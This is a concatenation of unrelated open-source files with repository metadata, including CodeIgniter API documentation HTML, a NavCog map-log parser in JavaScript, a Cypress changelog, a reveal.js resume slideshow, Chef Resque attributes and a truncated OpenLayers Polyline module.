href="class-PHPExcel_Writer_PDF_Core.html">PHPExcel_Writer_PDF_Core</a></li> <li><a href="class-PHPExcel_Writer_PDF_DomPDF.html">PHPExcel_Writer_PDF_DomPDF</a></li> <li><a href="class-PHPExcel_Writer_PDF_mPDF.html">PHPExcel_Writer_PDF_mPDF</a></li> <li><a href="class-PHPExcel_Writer_PDF_tcPDF.html">PHPExcel_Writer_PDF_tcPDF</a></li> <li><a href="class-ReferenceHelperTest.html">ReferenceHelperTest</a></li> <li><a href="class-Registro.html">Registro</a></li> <li><a href="class-RestablecerContrasenha.html">RestablecerContrasenha</a></li> <li><a href="class-RowCellIteratorTest.html">RowCellIteratorTest</a></li> <li><a href="class-RowIteratorTest.html">RowIteratorTest</a></li> <li><a href="class-RuleTest.html">RuleTest</a></li> <li><a href="class-SesionNoIniciada.html">SesionNoIniciada</a></li> <li><a href="class-SingularValueDecomposition.html">SingularValueDecomposition</a></li> <li><a href="class-StringTest.html">StringTest</a></li> <li><a href="class-testDataFileIterator.html">testDataFileIterator</a></li> <li><a href="class-TextDataTest.html">TextDataTest</a></li> <li><a href="class-Tienda01.html">Tienda01</a></li> <li><a href="class-Tienda02.html">Tienda02</a></li> <li><a href="class-Tiendas_Model.html">Tiendas_Model</a></li> <li><a href="class-TimeZoneTest.html">TimeZoneTest</a></li> <li><a href="class-trendClass.html">trendClass</a></li> <li><a href="class-TTFParser.html">TTFParser</a></li> <li><a href="class-WorksheetColumnTest.html">WorksheetColumnTest</a></li> <li><a href="class-WorksheetRowTest.html">WorksheetRowTest</a></li> <li><a href="class-XEEValidatorTest.html">XEEValidatorTest</a></li> <li><a href="class-XML.html">XML</a></li> <li><a href="class-XML_RPC_Client.html" class="invalid">XML_RPC_Client</a></li> <li><a href="class-XML_RPC_Message.html" class="invalid">XML_RPC_Message</a></li> <li><a href="class-XML_RPC_Response.html" class="invalid">XML_RPC_Response</a></li> <li><a href="class-XML_RPC_Values.html" class="invalid">XML_RPC_Values</a></li> </ul> <h3>Interfaces</h3> <ul> <li><a href="class-PHPExcel_CachedObjectStorage_ICache.html">PHPExcel_CachedObjectStorage_ICache</a></li> <li><a href="class-PHPExcel_Cell_IValueBinder.html">PHPExcel_Cell_IValueBinder</a></li> <li><a href="class-PHPExcel_IComparable.html">PHPExcel_IComparable</a></li> <li><a href="class-PHPExcel_Reader_IReader.html">PHPExcel_Reader_IReader</a></li> <li><a href="class-PHPExcel_Reader_IReadFilter.html">PHPExcel_Reader_IReadFilter</a></li> <li><a href="class-PHPExcel_RichText_ITextElement.html">PHPExcel_RichText_ITextElement</a></li> <li><a href="class-PHPExcel_Writer_IWriter.html">PHPExcel_Writer_IWriter</a></li> <li><a href="class-SessionHandlerInterface.html">SessionHandlerInterface</a></li> </ul> <h3>Exceptions</h3> <ul> <li><a href="class-PHPExcel_Calculation_Exception.html">PHPExcel_Calculation_Exception</a></li> <li><a href="class-PHPExcel_Chart_Exception.html">PHPExcel_Chart_Exception</a></li> <li><a href="class-PHPExcel_Exception.html">PHPExcel_Exception</a></li> <li><a href="class-PHPExcel_Reader_Exception.html">PHPExcel_Reader_Exception</a></li> <li><a href="class-PHPExcel_Writer_Exception.html">PHPExcel_Writer_Exception</a></li> </ul> <h3>Functions</h3> <ul> <li><a href="function-_attributes_to_string.html" class="invalid">_attributes_to_string</a></li> <li><a href="function-_error_handler.html">_error_handler</a></li> <li><a href="function-_exception_handler.html" class="invalid">_exception_handler</a></li> <li><a href="function-_get_smiley_array.html" class="invalid">_get_smiley_array</a></li> <li><a href="function-_get_validation_object.html" class="invalid">_get_validation_object</a></li> <li><a href="function-_list.html" class="invalid">_list</a></li> <li><a href="function-_parse_attributes.html">_parse_attributes</a></li> <li><a href="function-_parse_form_attributes.html" class="invalid">_parse_form_attributes</a></li> <li><a href="function-_shutdown_handler.html">_shutdown_handler</a></li> <li><a href="function-_stringify_attributes.html">_stringify_attributes</a></li> <li><a href="function-acosh.html">acosh</a></li> <li><a href="function-alternator.html" class="invalid">alternator</a></li> <li><a href="function-anchor.html" class="invalid">anchor</a></li> <li><a href="function-anchor_popup.html" class="invalid">anchor_popup</a></li> <li><a href="function-array_column.html">array_column</a></li> <li><a href="function-array_replace.html">array_replace</a></li> <li><a href="function-array_replace_recursive.html">array_replace_recursive</a></li> <li><a href="function-ascii_to_entities.html" class="invalid">ascii_to_entities</a></li> <li><a href="function-asinh.html">asinh</a></li> <li><a href="function-atanh.html">atanh</a></li> <li><a href="function-auto_link.html" class="invalid">auto_link</a></li> <li><a href="function-auto_typography.html" class="invalid">auto_typography</a></li> <li><a href="function-base_url.html" class="invalid">base_url</a></li> <li><a href="function-br.html" class="invalid">br</a></li> <li><a href="function-byte_format.html" class="invalid">byte_format</a></li> <li><a href="function-cambiaFormatoFecha.html">cambiaFormatoFecha</a></li> <li><a href="function-camelize.html" class="invalid">camelize</a></li> <li><a href="function-character_limiter.html" class="invalid">character_limiter</a></li> <li><a href="function-claves_check.html">claves_check</a></li> <li><a href="function-composerRequire03216eaa5a0e5a7f5bbbeeae5708a458.html">composerRequire03216eaa5a0e5a7f5bbbeeae5708a458</a></li> <li><a href="function-config_item.html" class="invalid">config_item</a></li> <li><a href="function-convert_accented_characters.html" class="invalid">convert_accented_characters</a></li> <li><a href="function-CreaArrayParaSelect.html">CreaArrayParaSelect</a></li> <li><a href="function-CreaSelect.html">CreaSelect</a></li> <li><a href="function-CreaSelectMod.html">CreaSelectMod</a></li> <li><a href="function-create_captcha.html" class="invalid">create_captcha</a></li> <li><a href="function-current_url.html" class="invalid">current_url</a></li> <li class="active"><a href="function-date_range.html">date_range</a></li> <li><a href="function-days_in_month.html" class="invalid">days_in_month</a></li> <li><a href="function-DB.html" class="invalid">DB</a></li> <li><a href="function-delete_cookie.html" class="invalid">delete_cookie</a></li> <li><a href="function-delete_files.html" class="invalid">delete_files</a></li> <li><a href="function-directory_map.html" class="invalid">directory_map</a></li> <li><a href="function-dni_LetraNIF.html">dni_LetraNIF</a></li> <li><a href="function-do_hash.html" class="invalid">do_hash</a></li> <li><a href="function-doctype.html" class="invalid">doctype</a></li> <li><a href="function-element.html" class="invalid">element</a></li> <li><a href="function-elements.html" class="invalid">elements</a></li> <li><a href="function-ellipsize.html" class="invalid">ellipsize</a></li> <li><a href="function-encode_php_tags.html" class="invalid">encode_php_tags</a></li> <li><a href="function-entities_to_ascii.html" class="invalid">entities_to_ascii</a></li> <li><a href="function-entity_decode.html" class="invalid">entity_decode</a></li> <li><a href="function-Error.html">Error</a></li> <li><a href="function-force_download.html" class="invalid">force_download</a></li> <li><a href="function-form_button.html" class="invalid">form_button</a></li> <li><a href="function-form_checkbox.html" class="invalid">form_checkbox</a></li> <li><a href="function-form_close.html" class="invalid">form_close</a></li> <li><a href="function-form_dropdown.html" class="invalid">form_dropdown</a></li> <li><a href="function-form_error.html" class="invalid">form_error</a></li> <li><a href="function-form_fieldset.html" class="invalid">form_fieldset</a></li> <li><a href="function-form_fieldset_close.html" class="invalid">form_fieldset_close</a></li> <li><a href="function-form_hidden.html" class="invalid">form_hidden</a></li> <li><a href="function-form_input.html" class="invalid">form_input</a></li> <li><a href="function-form_label.html" class="invalid">form_label</a></li> <li><a href="function-form_multiselect.html" class="invalid">form_multiselect</a></li> <li><a href="function-form_open.html" class="invalid">form_open</a></li> <li><a href="function-form_open_multipart.html" class="invalid">form_open_multipart</a></li> <li><a href="function-form_password.html" class="invalid">form_password</a></li> <li><a href="function-form_prep.html" class="invalid">form_prep</a></li> <li><a href="function-form_radio.html" class="invalid">form_radio</a></li> <li><a href="function-form_reset.html" class="invalid">form_reset</a></li> <li><a href="function-form_submit.html" class="invalid">form_submit</a></li> <li><a href="function-form_textarea.html" class="invalid">form_textarea</a></li> <li><a href="function-form_upload.html" class="invalid">form_upload</a></li> <li><a href="function-function_usable.html">function_usable</a></li> <li><a href="function-get_clickable_smileys.html" class="invalid">get_clickable_smileys</a></li> <li><a href="function-get_config.html" class="invalid">get_config</a></li> <li><a href="function-get_cookie.html" class="invalid">get_cookie</a></li> <li><a href="function-get_dir_file_info.html" class="invalid">get_dir_file_info</a></li> <li><a href="function-get_file_info.html" class="invalid">get_file_info</a></li> <li><a href="function-get_filenames.html" class="invalid">get_filenames</a></li> <li><a href="function-get_instance.html" class="invalid">get_instance</a></li> <li><a href="function-get_mime_by_extension.html" class="invalid">get_mime_by_extension</a></li> <li><a href="function-get_mimes.html">get_mimes</a></li> <li><a href="function-getFicheroXML_Monedas.html">getFicheroXML_Monedas</a></li> <li><a href="function-GetInfoFromTrueType.html">GetInfoFromTrueType</a></li> <li><a href="function-GetInfoFromType1.html">GetInfoFromType1</a></li> <li><a href="function-getPrecioFinal.html">getPrecioFinal</a></li> <li><a href="function-gmt_to_local.html" class="invalid">gmt_to_local</a></li> <li><a href="function-hash_equals.html">hash_equals</a></li> <li><a href="function-hash_pbkdf2.html">hash_pbkdf2</a></li> <li><a href="function-heading.html" class="invalid">heading</a></li> <li><a href="function-hex2bin.html">hex2bin</a></li> <li><a href="function-highlight_code.html" class="invalid">highlight_code</a></li> <li><a href="function-highlight_phrase.html" class="invalid">highlight_phrase</a></li> <li><a href="function-html_escape.html" class="invalid">html_escape</a></li> <li><a href="function-human_to_unix.html" class="invalid">human_to_unix</a></li> <li><a href="function-humanize.html" class="invalid">humanize</a></li> <li><a href="function-hypo.html">hypo</a></li> <li><a href="function-img.html" class="invalid">img</a></li> <li><a href="function-increment_string.html" class="invalid">increment_string</a></li> <li><a href="function-index_page.html" class="invalid">index_page</a></li> <li><a href="function-is_cli.html">is_cli</a></li> <li><a href="function-is_countable.html">is_countable</a></li> <li><a href="function-is_false.html" class="invalid">is_false</a></li> <li><a href="function-is_https.html">is_https</a></li> <li><a href="function-is_loaded.html" class="invalid">is_loaded</a></li> <li><a href="function-is_php.html" class="invalid">is_php</a></li> <li><a href="function-is_really_writable.html" class="invalid">is_really_writable</a></li> <li><a href="function-is_true.html" class="invalid">is_true</a></li> <li><a href="function-JAMAError.html">JAMAError</a></li> <li><a href="function-js_insert_smiley.html">js_insert_smiley</a></li> <li><a href="function-lang.html" class="invalid">lang</a></li> <li><a href="function-link_tag.html" class="invalid">link_tag</a></li> <li><a href="function-load_class.html" class="invalid">load_class</a></li> <li><a href="function-LoadMap.html">LoadMap</a></li> <li><a href="function-local_to_gmt.html" class="invalid">local_to_gmt</a></li> <li><a href="function-log_message.html" class="invalid">log_message</a></li> <li><a href="function-mailto.html" class="invalid">mailto</a></li> <li><a href="function-MakeDefinitionFile.html">MakeDefinitionFile</a></li> <li><a href="function-MakeFont.html">MakeFont</a></li> <li><a href="function-MakeFontDescriptor.html">MakeFontDescriptor</a></li> <li><a href="function-MakeFontEncoding.html">MakeFontEncoding</a></li> <li><a href="function-MakeUnicodeArray.html">MakeUnicodeArray</a></li> <li><a href="function-MakeWidthArray.html">MakeWidthArray</a></li> <li><a href="function-mb_str_replace.html">mb_str_replace</a></li> <li><a href="function-mb_strlen.html">mb_strlen</a></li> <li><a href="function-mb_strpos.html">mb_strpos</a></li> <li><a href="function-mb_substr.html">mb_substr</a></li> <li><a href="function-mdate.html" class="invalid">mdate</a></li> <li><a href="function-Message.html">Message</a></li> <li><a href="function-meta.html" class="invalid">meta</a></li> <li><a href="function-MostrarDescuento.html">MostrarDescuento</a></li> <li><a href="function-MuestraMonedas.html">MuestraMonedas</a></li> <li><a href="function-mysql_to_unix.html" class="invalid">mysql_to_unix</a></li> <li><a href="function-nbs.html" class="invalid">nbs</a></li> <li><a href="function-nice_date.html">nice_date</a></li> <li><a href="function-nl2br_except_pre.html" class="invalid">nl2br_except_pre</a></li> <li><a href="function-Notice.html">Notice</a></li> <li><a href="function-now.html" class="invalid">now</a></li> <li><a href="function-octal_permissions.html" class="invalid">octal_permissions</a></li> <li><a href="function-odbc_fetch_array.html">odbc_fetch_array</a></li> <li><a href="function-odbc_fetch_object.html">odbc_fetch_object</a></li> <li><a href="function-ol.html" class="invalid">ol</a></li> <li><a href="function-parse_smileys.html" class="invalid">parse_smileys</a></li> <li><a href="function-password_get_info.html">password_get_info</a></li> <li><a href="function-password_hash.html">password_hash</a></li> <li><a href="function-password_needs_rehash.html">password_needs_rehash</a></li> <li><a href="function-password_verify.html">password_verify</a></li> <li><a href="function-PclZipUtilCopyBlock.html">PclZipUtilCopyBlock</a></li> <li><a href="function-PclZipUtilOptionText.html">PclZipUtilOptionText</a></li> <li><a href="function-PclZipUtilPathInclusion.html">PclZipUtilPathInclusion</a></li> <li><a href="function-PclZipUtilPathReduction.html">PclZipUtilPathReduction</a></li> <li><a href="function-PclZipUtilRename.html">PclZipUtilRename</a></li> <li><a href="function-PclZipUtilTranslateWinPath.html">PclZipUtilTranslateWinPath</a></li> <li><a href="function-plural.html" class="invalid">plural</a></li> <li><a href="function-prep_url.html" class="invalid">prep_url</a></li> <li><a href="function-quoted_printable_encode.html">quoted_printable_encode</a></li> <li><a href="function-quotes_to_entities.html" class="invalid">quotes_to_entities</a></li> <li><a href="function-random_element.html" class="invalid">random_element</a></li> <li><a href="function-random_string.html" class="invalid">random_string</a></li> <li><a href="function-read_file.html" class="invalid">read_file</a></li> <li><a href="function-redirect.html" class="invalid">redirect</a></li> <li><a href="function-reduce_double_slashes.html" class="invalid">reduce_double_slashes</a></li> <li><a href="function-reduce_multiples.html" class="invalid">reduce_multiples</a></li> <li><a href="function-remove_invisible_characters.html" class="invalid">remove_invisible_characters</a></li> <li><a href="function-repeater.html" class="invalid">repeater</a></li> <li><a href="function-safe_mailto.html" class="invalid">safe_mailto</a></li> <li><a href="function-sanitize_filename.html" class="invalid">sanitize_filename</a></li> <li><a href="function-SaveToFile.html">SaveToFile</a></li> <li><a href="function-send_email.html" class="invalid">send_email</a></li> <li><a href="function-SesionIniciadaCheck.html">SesionIniciadaCheck</a></li> <li><a href="function-set_checkbox.html" class="invalid">set_checkbox</a></li> <li><a href="function-set_cookie.html" class="invalid">set_cookie</a></li> <li><a href="function-set_radio.html" class="invalid">set_radio</a></li> <li><a href="function-set_realpath.html" class="invalid">set_realpath</a></li> <li><a href="function-set_select.html" class="invalid">set_select</a></li> <li><a href="function-set_status_header.html" class="invalid">set_status_header</a></li> <li><a href="function-set_value.html" class="invalid">set_value</a></li> <li><a href="function-show_404.html" class="invalid">show_404</a></li> <li><a href="function-show_error.html" class="invalid">show_error</a></li> <li><a href="function-singular.html" class="invalid">singular</a></li> <li><a href="function-site_url.html" class="invalid">site_url</a></li> <li><a href="function-smiley_js.html" class="invalid">smiley_js</a></li> <li><a href="function-standard_date.html" class="invalid">standard_date</a></li> <li><a href="function-strip_image_tags.html" class="invalid">strip_image_tags</a></li> <li><a href="function-strip_quotes.html" class="invalid">strip_quotes</a></li> <li><a href="function-strip_slashes.html" class="invalid">strip_slashes</a></li> <li><a href="function-symbolic_permissions.html" class="invalid">symbolic_permissions</a></li> <li><a href="function-timespan.html" class="invalid">timespan</a></li> <li><a href="function-timezone_menu.html" class="invalid">timezone_menu</a></li> <li><a href="function-timezones.html" class="invalid">timezones</a></li> <li><a href="function-transpose.html">transpose</a></li> <li><a href="function-trim_slashes.html" class="invalid">trim_slashes</a></li> <li><a href="function-ul.html" class="invalid">ul</a></li> <li><a href="function-underscore.html" class="invalid">underscore</a></li> <li><a href="function-unix_to_human.html" class="invalid">unix_to_human</a></li> <li><a href="function-uri_string.html" class="invalid">uri_string</a></li> <li><a href="function-url_title.html" class="invalid">url_title</a></li> <li><a href="function-valid_email.html" class="invalid">valid_email</a></li> <li><a href="function-validation_errors.html" class="invalid">validation_errors</a></li> <li><a href="function-Warning.html">Warning</a></li> <li><a href="function-word_censor.html" class="invalid">word_censor</a></li> <li><a href="function-word_limiter.html" class="invalid">word_limiter</a></li> <li><a href="function-word_wrap.html" class="invalid">word_wrap</a></li> <li><a href="function-write_file.html" class="invalid">write_file</a></li> <li><a href="function-xml_convert.html" class="invalid">xml_convert</a></li> <li><a href="function-xss_clean.html" class="invalid">xss_clean</a></li> </ul> </div> </div> </div> <div id="splitter"></div> <div id="right"> <div id="rightInner"> <form id="search"> <input type="hidden" name="cx" value=""> <input type="hidden" name="ie" value="UTF-8"> <input type="text" name="q" class="text" placeholder="Search"> </form> <div id="navigation"> <ul> <li> <a href="index.html" title="Overview"><span>Overview</span></a> </li> <li> <a href="namespace-None.html" title="Summary of None"><span>Namespace</span></a> </li> <li class="active"> <span>Function</span> </li> </ul> <ul> <li> <a href="tree.html" title="Tree view of classes, interfaces, traits and exceptions"><span>Tree</span></a> </li> </ul> <ul> </ul> </div> <div id="content" class="function"> <h1>Function date_range</h1> <div class="description"> <p>Date range</p> <p>Returns a list of dates within a specified period.</p> </div> <div class="info"> <b>Package:</b> CodeIgniter<br> <b>Copyright:</b> Copyright (c) 2008 - 2014, EllisLab, Inc. (http://ellislab.com/)<br> <b>Copyright:</b> Copyright (c) 2014 - 2015, British Columbia Institute of Technology (http://bcit.ca/)<br> <b>License:</b> <a href="http://opensource.org/licenses/MIT">MIT License</a><br> <b>Author:</b> EllisLab Dev Team<br> <b>Located at</b> <a href="source-function-date_range.html#671-795" title="Go to source code"> system/helpers/date_helper.php </a><br> </div> <table class="summary" id="parameters"> <caption>Parameters summary</caption> <tr id="$unix_start"> <td class="name"><code>integer</code></td> <td class="value"><code><var>$unix_start</var> = <span class="php-quote">''</span></code></td> <td>UNIX timestamp of period start date</td> </tr> <tr id="$mixed"> <td class="name"><code>integer</code></td> <td class="value"><code><var>$mixed</var> = <span class="php-quote">''</span></code></td> <td>&lt;p&gt;UNIX timestamp of period end date or interval in days.&lt;/p&gt;</td> </tr> <tr id="$is_unix"> <td class="name"><code>mixed</code></td> <td class="value"><code><var>$is_unix</var> = <span class="php-keyword1">TRUE</span></code></td> <td>&lt;p&gt;Specifies whether the second parameter is a UNIX timestamp or a day interval - TRUE or 'unix' for a timestamp - FALSE or 'days' for an interval&lt;/p&gt;</td> </tr> <tr id="$format"> <td class="name"><code>string</code></td> <td class="value"><code><var>$format</var> = <span class="php-quote">'Y-m-d'</span></code></td> <td>Output date format, same as in date()</td> </tr> </table> <table class="summary" id="returns"> <caption>Return value summary</caption> <tr> <td class="name"><code> array </code></td> <td> array </td> </tr> </table> </div> <div id="footer"> Practica2_Servidor API documentation generated by <a href="http://apigen.org">ApiGen</a> </div> </div> </div> <script src="resources/combined.js?056d0a570f5e91e43be2719a6d30b4b426c2aee0"></script> <script src="elementlist.js?6695153af8baa053fc9e62fe58e60bbb427f0910"></script> </body> </html>
isacm94/Practica2_Servidor
doc/function-date_range.html
HTML
mit
57,750
var _logFunction = new $NavCogLogFunction(); $(document).ready(function() { document.getElementById("log-data-chooser").addEventListener("change", _logFunction.loadFile); }); function $NavCogLogFunction() { var logLocations = []; function loadFile(e) { logLocations = []; var file = this.files[0]; if (file) { var fr = new FileReader(); fr.addEventListener("load", function(e) { parseLogData(fr.result); }); fr.readAsText(file); } } function parseLogData(text) { text.split("\n").forEach(function(line, i) { if (line) { var params = line.match(/(.*?) (.*?) (.*?) (.*)/); if (params && params.length == 5) { var msgs = params[4].split(","); var obj; switch (msgs[0]) { case "FoundCurrentLocation": obj = { "edge" : msgs[3], "x" : msgs[4], "y" : msgs[5], "knndist" : msgs[6] }; break; case "CurrentPosition": obj = { "dist" : msgs[1], "edge" : msgs[3], "x" : msgs[4], "y" : msgs[5], "knndist" : msgs[6] }; break; } if (obj) { obj.event = msgs[0]; obj.timestamp = params[1] + " " + params[2]; // console.log(JSON.stringify(obj)); logLocations.push(obj); } } } }); } function renderLayer(layer) { for ( var edgeID in layer.edges) { drawMarkers(layer.edges[edgeID]); } } function drawMarkers(edge) { for (var i = 0; i < logLocations.length; i++) { var log = logLocations[i]; if (log.edge == edge.id) { var marker = logLocations[i].marker; if (!marker) { var node1 = _currentLayer.nodes[edge.node1], node2 = _currentLayer.nodes[edge.node2]; var info1 = node1.infoFromEdges[edge.id], info2 = node2.infoFromEdges[edge.id] // console.log(log); // console.log(edge); // console.log(node1); // console.log(node1.lat + "," + node1.lng); // console.log(node2.lat + "," + node2.lng); // console.log(info1.x + "," + info1.y); // console.log(info2.x + "," + info2.y); var ratio = (log.y - info1.y) / (info2.y - info1.y); var lat = node1.lat + (node2.lat - node1.lat) * ratio; var lng = node1.lng + (node2.lng - node1.lng) * ratio; // console.log(ratio + "," + lat + "," + lng); var title = log.timestamp.substr(17, 2); // i + 1; var hover = (log.event == "CurrentPosition" ? "Navigation position" : "Current location"); hover += "\n" + log.timestamp; if (!isNaN(log.dist)) { hover += "\ndistance: " + log.dist; } hover += "\n"; hover += "\npos.x: " + log.x + "\npos.y: " + log.y + "\npos.knndist: " + log.knndist; hover += "\nnormalized dist: " + ((log.knndist - edge.minKnnDist) / (edge.maxKnnDist - edge.minKnnDist)); hover += "\n"; hover += "\nedge.id: " + edge.id; hover += "\nedge.minKnnDist: " + edge.minKnnDist; hover += "\nedge.maxKnnDist: " + edge.maxKnnDist; hover += "\n"; hover += "\nnode1.id: " + node1.id; hover += "\nnode1.knnDistThres: " + node1.knnDistThres; hover += "\nnode1.posDistThres: " + node1.posDistThres; hover += "\n"; hover += "\nnode2.id: " + node2.id; hover += "\nnode2.knnDistThres: " + node2.knnDistThres; hover += "\nnode2.posDistThres: " + node2.posDistThres; console.log("\n-------- " + hover) var options = { position : new google.maps.LatLng(lat, lng), draggable : false, raiseOnDrag : false, labelContent : title, labelClass : "labels", title : hover, labelAnchor : new google.maps.Point(10.5, 35) }; if (log.event == "CurrentPosition") { options.icon = { size : new google.maps.Size(25, 25), anchor : new google.maps.Point(12.5, 12.5), url : "./img/round-blue.png" }; options.shape = { coords : [ 12.5, 12.5, 25 ], type : "circle", }; options.labelAnchor = new google.maps.Point(10.5, 6.25); } logLocations[i].marker = marker = new MarkerWithLabel(options); } marker.setMap(_map); } } } $editor.on("derender", function(e, layer) { for (var i = 0; i < logLocations.length; i++) { var marker = logLocations[i].marker; if (marker) { marker.setMap(null); } } }); return { "loadFile" : loadFile, "renderLayer" : renderLayer }; }
hulop/NavCogMapEditor
src/NavCogLogFunction.js
JavaScript
mit
4,343
/* CSS Document */ body { padding-left: 30px; padding-right: 30px; } td.wait{ padding:10px; font-weight:bold; color:#990; text-align:center; } .tab-content{ margin-top:10px; }
hansphp/BuscadorMySQL
estilo.css
CSS
mit
185
## 4.5.0 _Released 4/28/2020_ **Features:** - Cypress now supports the execution of component tests using framework-specific adaptors when setting the `experimentalComponentTesting` configuration option to `true`. For more details see the [@cypress/react](https://github.com/cypress-io/cypress/tree/master/npm/react) and [@cypress/vue](https://github.com/cypress-io/cypress/tree/master/npm/vue) repos. Addresses [#5922](https://github.com/cypress-io/cypress/issues/5922) and [#6968](https://github.com/cypress-io/cypress/issues/6968). **Bugfixes:** - [Custom Mocha reporters](/guides/tooling/reporters) will now correctly use the version of Mocha bundled with Cypress. Fixes [#3537](https://github.com/cypress-io/cypress/issues/3537) and [#6984](https://github.com/cypress-io/cypress/issues/6984). - We better account for word boundaries in application scripts when `modifyObstructiveCode` is `true`. Fixes [#7138](https://github.com/cypress-io/cypress/issues/7138). - Fixed an issue where iterators in TypeScript were not properly transpiled. Fixes [#7098](https://github.com/cypress-io/cypress/issues/7098). **Misc:** - The update window in the Test Runner now encourages yarn users to `yarn upgrade` Cypress instead of `yarn add` to help prevent installing 2 versions of Cypress when using yarn workspaces. Addressed in [#7101](https://github.com/cypress-io/cypress/pull/7101). - We're continuing to make progress in converting our codebase from CoffeeScript to JavaScript. Addresses [#2690](https://github.com/cypress-io/cypress/issues/2690) in [#7031](https://github.com/cypress-io/cypress/pull/7031) and [#7097](https://github.com/cypress-io/cypress/pull/7097). **Dependency Updates:** - Upgraded `electron` from `8.2.0` to `8.2.3`. Addressed in [#7079](https://github.com/cypress-io/cypress/pull/7079).
cypress-io/cypress-documentation
content/_changelogs/4.5.0.md
Markdown
mit
1,859
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Resume</title> <meta name="description" content="A Simple Slide"> <meta name="author" content="BILLY HO"> <meta name="apple-mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" /> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <link rel="stylesheet" href="css/reveal.min.css"> <link rel="stylesheet" href="css/theme/default.css" id="theme"> <!-- For syntax highlighting --> <link rel="stylesheet" href="lib/css/zenburn.css"> <!-- If the query includes 'print-pdf', use the PDF print sheet --> <script> document.write( '<link rel="stylesheet" href="css/print/' + ( window.location.search.match( /print-pdf/gi ) ? 'pdf' : 'paper' ) + '.css" type="text/css" media="print">' ); </script> <!--[if lt IE 9]> <script src="lib/js/html5shiv.js"></script> <![endif]--> </head> <body> <div class="reveal"> <!-- Any section element inside of this container is displayed as a slide --> <div class="slides"> <section data-transition="slide"> <h2>个人简历</h2> <h3>Resume</h3> </section> <section data-transition="slide"> <h2>教育经历</h2> <p> 2011–至今 中山大学, 软件学院, 软件工程, 计算机应用软件方向. GPA: 3.6/5.0. </p> </section> <section> <h2>专业技能</h2> <ul> <li class="fragment">CET-6 565</li> <li class="fragment">掌握 C/C++/Objective-C 等语言</li> <li class="fragment">熟练使用 Vim/Xcode 等开发工具</li> <li class="fragment">熟悉 Linux, MacOS 下的开发环境</li> <li class="fragment">能够使用 git 等版本管理工具进行团队开发</li> </ul> </section> <section> <h2>获奖情况</h2> <ul> <li class="fragment">2012-2013 学年中山大学软件学院二等奖学金</li> <li class="fragment">2013 中山大学ACM程序设计竞赛三等奖</li> <li class="fragment">2014 Mathematical Contest In Modeling, Successful Participant</li> </ul> </section> <!-- Example of nested vertical slides --> <section> <section> <h2>项目经历</h2> </section> <section> <h2>品课志 Picourse</h2> <div style="height:605px;width:480px;float:left;"><img width="360" height="605" src="image/3.jpg" ></div> <div style="height:600px;width:350px;float:left;"><p>品课志 Picourse 为一个面向企业 HR 的应用, 提供各种企业内部培训课程的分类浏览, 课程详细介绍以及讲师介绍等信息, 帮助企业 HR 找到适合自己员工的课程. </p></div> </section> <section> <h2>Cofunder</h2> <p>CoFunder 为国内一个类似 Kickstarter, 点名时间的众筹类网站的 iOS 客户端. 用户可 以使用此应用浏览各种创意项目, 并进行投资. </p> </section> <section> <h2>Priests and Devils</h2> <p>牧师与魔鬼 Priests and Devils 是一个基于 Cocos2d-x 引擎的 iOS 小游戏. 游戏的目标是 让玩家帮助牧师和魔鬼渡河, 并保证牧师不会被魔鬼吃掉. </p> <img width="600" height="400" src="image/2.jpg" > </section> </section> </div> </div> <script src="lib/js/head.min.js"></script> <script src="js/reveal.min.js"></script> <script> // Full list of configuration options available here: // https://github.com/hakimel/reveal.js#configuration Reveal.initialize({ controls: true, progress: true, history: true, center: true, theme: Reveal.getQueryHash().theme, // available themes are in /css/theme transition: Reveal.getQueryHash().transition || 'fade', // default/cube/page/concave/zoom/linear/fade/none // Parallax scrolling // parallaxBackgroundImage: 'https://s3.amazonaws.com/hakim-static/reveal-js/reveal-parallax-1.jpg', // parallaxBackgroundSize: '2100px 900px', // Optional libraries used to extend on reveal.js dependencies: [ { src: 'lib/js/classList.js', condition: function() { return !document.body.classList; } }, { src: 'plugin/markdown/marked.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } }, { src: 'plugin/markdown/markdown.js', condition: function() { return !!document.querySelector( '[data-markdown]' ); } }, { src: 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }, { src: 'plugin/zoom-js/zoom.js', async: true, condition: function() { return !!document.body.classList; } }, { src: 'plugin/notes/notes.js', async: true, condition: function() { return !!document.body.classList; } } ] }); </script> </body> </html>
BILLYHO/Resume
index.html
HTML
mit
4,918
# Root of your application (Rails.root) default[:rubber_resque][:app_path] = '/opt/app' # User that runs your application default[:rubber_resque][:app_user] = 'deploy' # Group the app_user belongs to default[:rubber_resque][:app_group] = 'deploy' # Application environment (Rails.env) default[:rubber_resque][:app_env] = 'production' # Set :redis_host to nil to have the recipe search for the redis master @see :redis_role default[:rubber_resque][:redis_host] = nil # If set :redis_role is used to look up the :redis_host default[:rubber_resque][:redis_role] = 'redis_master' default[:rubber_resque][:resque_web][:port] = '5678' default[:rubber_resque][:resque_web][:pid_file] = '/var/run/resque-web.pid' default[:rubber_resque][:resque_web][:monit] = true default[:rubber_resque][:resque_pool][:worker_count] = 4 default[:rubber_resque][:resque_pool][:pid_file] = '/var/run/resque-pool.pid' default[:rubber_resque][:resque_pool][:monit] = true
dmdeklerk/rubber-chef-resque
attributes/default.rb
Ruby
mit
1,101
{ unsafeUnwrap(this).setStart(unwrapIfNeeded(refNode), offset); }
stas-vilchik/bdd-ml
data/6815.js
JavaScript
mit
68
goog.provide('ol.format.Polyline'); goog.require('ol'); goog.require('ol.asserts'); goog.require('ol.Feature'); goog.require('ol.format.Feature'); goog.require('ol.format.TextFeature'); goog.require('ol.geom.GeometryLayout'); goog.require('ol.geom.LineString'); goog.require('ol.geom.SimpleGeometry'); goog.require('ol.geom.flat.flip'); goog.require('ol.geom.flat.inflate'); goog.require('ol.proj'); /** * @classdesc * Feature format for reading and writing data in the Encoded * Polyline Algorithm Format. * * @constructor * @extends {ol.format.TextFeature} * @param {olx.format.PolylineOptions=} opt_options * Optional configuration object. * @api stable */ ol.format.Polyline = function(opt_options) { var options = opt_options ? opt_options : {}; ol.format.TextFeature.call(this); /** * @inheritDoc */ this.defaultDataProjection = ol.proj.get('EPSG:4326'); /** * @private * @type {number} */ this.factor_ = options.factor ? options.factor : 1e5; /** * @private * @type {ol.geom.GeometryLayout} */ this.geometryLayout_ = options.geometryLayout ? options.geometryLayout : ol.geom.GeometryLayout.XY; }; ol.inherits(ol.format.Polyline, 